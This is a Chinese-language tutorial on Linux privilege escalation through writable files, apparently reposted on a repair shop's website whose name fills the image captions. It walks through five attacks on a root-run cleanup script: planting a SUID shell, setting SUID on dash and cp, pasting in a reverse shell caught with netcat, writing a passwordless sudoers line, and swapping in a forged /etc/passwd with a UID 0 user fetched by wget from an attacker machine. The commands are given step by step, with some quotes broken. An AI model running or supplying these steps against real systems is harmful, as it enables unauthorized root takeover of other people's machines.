如何運用在Linux上通過可寫文件獲取Root權(quán)限的多種方法

來源:濟南磐龍筆記本交換機維修作者:濟南磐龍維修網(wǎng)址:http://www.flvr.com.cn

如何運用在Linux上通過可寫文件獲取Root權(quán)限的多種方法!濟南磐龍維修



Linux中,一切都可以看做文件,包括所有允許/禁止讀寫執(zhí)行權(quán)限的目錄和設(shè)備。當管理員為任何文件設(shè)置權(quán)限時,都應(yīng)清楚并合理為每個Linux用戶分配應(yīng)有的讀寫執(zhí)行權(quán)限。在本文中我將為大家展示,如何利用Linux中具有寫入權(quán)限的文件/腳本來進行提權(quán)操作。好了,話不多說。下面就進入我們的正題吧!www.flvr.com.cn

首先,我們來啟動我們的攻擊機并滲透進目標系統(tǒng)直至提權(quán)階段。這里假設(shè)我通過ssh成功登錄到了受害者機器,并訪問了非root用戶的終端。通過以下命令,我們可以枚舉所有具有可寫權(quán)限的二進制文件。

find
/
-writable
-type

f
2>/dev/null
|
grep
-v
"/proc/"

可以看到在/lib/log路徑下有一個python文件,我們進入到該目錄并查看該文件的權(quán)限為777

如何運用在Linux上通過可寫文件獲取Root權(quán)限的多種方法!濟南磐龍維修

通過cat命令查看該文件內(nèi)容,這是管理員添加的一個用來清除 /tmp中的所有垃圾文件的腳本,具體執(zhí)行取決于管理員設(shè)置的定時間隔。獲取了這些信息后,攻擊者可以通過以下方式來執(zhí)行提權(quán)操作。

如何運用在Linux上通過可寫文件獲取Root權(quán)限的多種方法!濟南磐龍維修

方法1

我們復制了/bin/sh/tmp下并為/tmp/sh啟用了SUID。使用編輯器打開sanitizer.py并將 “rm -r /tmp/*” 中的內(nèi)容替換為以下兩行:

os.system('cp
/bin/sh
/tmp/sh')

os.system('chmod
u+s
/tmp/sh')

如何運用在Linux上通過可寫文件獲取Root權(quán)限的多種方法!濟南磐龍維修

一段時間后,它將在/tmp目錄內(nèi)創(chuàng)建一個具有SUID權(quán)限的sh文件,當你運行它時,你將會獲取root訪問權(quán)限。

cd
/tmp

ls

./sh

id

whoami

下圖可以說明一切!

如何運用在Linux上通過可寫文件獲取Root權(quán)限的多種方法!濟南磐龍維修

方法2

同樣,你也可以將 “rm -r /tmp/*” 替換為以下內(nèi)容:

os.system(‘chmod
u+s
/bin/dash)

如何運用在Linux上通過可寫文件獲取Root權(quán)限的多種方法!濟南磐龍維修

一段時間后,它將為/bin/dash設(shè)置SUID權(quán)限,并且在運行時會給予root訪問權(quán)限。

/bin/dash

id

whoami

如下圖所示:

如何運用在Linux上通過可寫文件獲取Root權(quán)限的多種方法!濟南磐龍維修

方法3

在這種方法中,我們在 rm -r /tmp/* 的位置粘貼了python反向shell連接代碼,并在新的終端中啟動了netcat偵聽。

如何運用在Linux上通過可寫文件獲取Root權(quán)限的多種方法!濟南磐龍維修

如上所述,經(jīng)過一段時間后,我們通過netcat獲取了具有root訪問權(quán)限的反向shell。

nc
-lvp
1234

id

whoami

如下圖所示:

如何運用在Linux上通過可寫文件獲取Root權(quán)限的多種方法!濟南磐龍維修

方法4

這個方法挺有意思的,在下圖中大家可以看到我當前的用戶是沒有執(zhí)行sudo命令的權(quán)限的。那我們就想辦法讓自己成為suoders文件成員。

如何運用在Linux上通過可寫文件獲取Root權(quán)限的多種方法!濟南磐龍維修

同樣,我們將 “rm -r /tmp/*” 替換為以下內(nèi)容:

os.system('echo
"wernerbrandes
ALL=(ALL)
NOPASSWD:
ALL"
>
/etc/sudoers')

如何運用在Linux上通過可寫文件獲取Root權(quán)限的多種方法!濟南磐龍維修

過一段時間后,當你輸入“sudo -l”命令時,你會注意到,它已成為了sudo用戶的成員。此時我們只要輸入“sudo bash”就可以獲取root訪問權(quán)限。

sudo
-l

sudo
bash

id

方法5

我們知道passwd在任何類linux的系統(tǒng)中都扮演著非常重要的角色,一旦攻擊者有機會可以修改此文件,那么它將會成為一種特權(quán)提升的動態(tài)方式。

同樣,我們也不會忽視這一點,使用cat命令讀取etc/passwd文件。

在這里你可以觀察到用戶名為nemo記錄的高亮條目,根據(jù)我的猜測UID:1000 & GID:1000表示它應(yīng)該是管理員組的成員。

但我們的目標是通過編輯nemo記錄,使其成為root組的成員。因此,我們選擇并復制etc/passwd文件內(nèi)的所有記錄,然后將它粘貼到一個空的文本文件中。

如何運用在Linux上通過可寫文件獲取Root權(quán)限的多種方法!濟南磐龍維修

然后在一個新的終端中使用openssl生成一個加鹽密碼并復制。

openssl
passwd
-1
-salt
abc
123

如何運用在Linux上通過可寫文件獲取Root權(quán)限的多種方法!濟南磐龍維修

現(xiàn)在將上面復制的加鹽密碼粘貼至用戶nemo記錄條目中的“X”處,并且將UID&GID更改為0,如圖所示。操作完成后,將文本文件保存為“passwd”,將該文件傳輸至目標系統(tǒng),它將覆蓋原始passwd文件的內(nèi)容。

cd
Desktop

python
-m
SimpleHTTPServer
80

如何運用在Linux上通過可寫文件獲取Root權(quán)限的多種方法!濟南磐龍維修

同樣,將 “rm -r /tmp/*” 替換為以下內(nèi)容:

os.system(‘chmod
u+s
/bin/cp)

一段時間后,它會啟用/bin/cpSUID位以復制任意文件。

如何運用在Linux上通過可寫文件獲取Root權(quán)限的多種方法!濟南磐龍維修

現(xiàn)在將被你修改過的passwd文件下載至目標系統(tǒng)的/tmp目錄中。讓我們來檢查一下/bin/cp是否啟用了SUID位,然后使用cp命令將修改的passwd文件復制到/etc/passwd中,這將覆蓋原始passwd文件的內(nèi)容。

cd
/tmp

wget
http://192.168.1.103/passwd

ls
-al
/bin/cp

cp
passwd
/etc/passwd

如何運用在Linux上通過可寫文件獲取Root權(quán)限的多種方法!濟南磐龍維修

現(xiàn)在,我們鍵入以下命令查看修改內(nèi)容是否已在passwd文件中生效。

tail
/etc/passwd

可以看到修改內(nèi)容已成功寫入!

如何運用在Linux上通過可寫文件獲取Root權(quán)限的多種方法!濟南磐龍維修

執(zhí)行以下命令獲取root訪問權(quán)限:

su
nemo

password
123

whoami

如何運用在Linux上通過可寫文件獲取Root權(quán)限的多種方法!濟南磐龍維修


EqLlyHJ5w6